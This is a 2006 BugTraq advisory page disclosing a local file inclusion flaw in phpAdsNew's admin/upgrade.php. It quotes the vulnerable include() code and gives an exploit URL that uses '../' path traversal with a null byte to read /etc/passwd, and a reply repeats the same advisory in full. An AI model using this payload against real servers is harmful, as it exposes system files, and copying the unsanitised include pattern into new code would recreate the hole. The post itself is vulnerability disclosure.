BugTraq
Back to list
|
Post reply
phpAdsNew include bug!
Oct 17 2006 06:02PM
wacky ihack pl
(1 replies)
#######################################
Autors:
- Michał `wacky` Błaszczak
- Nobody
http://iHACK.pl
#######################################
File: modules/phpads/admin/upgrade.php
Code:
// Load language strings
if (file_exists("../language/".$phpAds_config['language']."/default.lang.ph
p"))
include("../language/".$phpAds_config['language']."/default.lang.php");
else
{
$phpAds_config['language'] = 'english';
include("../language/english/default.lang.php");
}
Exploit:
http://ihack.pl/phpAdsNew-2.0.8/admin/
upgrade.php?phpAds_config[language]=../../../etc/passwd%00
[ reply ]
Re: phpAdsNew include bug!
Oct 18 2006 01:49AM
Wim Godden (security firstlinknetworks com)
Privacy Statement
Copyright 2010, SecurityFocus
#######################################
Autors:
- Michał `wacky` Błaszczak
- Nobody
http://iHACK.pl
#######################################
File: modules/phpads/admin/upgrade.php
Code:
// Load language strings
if (file_exists("../language/".$phpAds_config['language']."/default.lang.ph
p"))
include("../language/".$phpAds_config['language']."/default.lang.php");
else
{
$phpAds_config['language'] = 'english';
include("../language/english/default.lang.php");
}
Exploit:
http://ihack.pl/phpAdsNew-2.0.8/admin/
upgrade.php?phpAds_config[language]=../../../etc/passwd%00
[ reply ]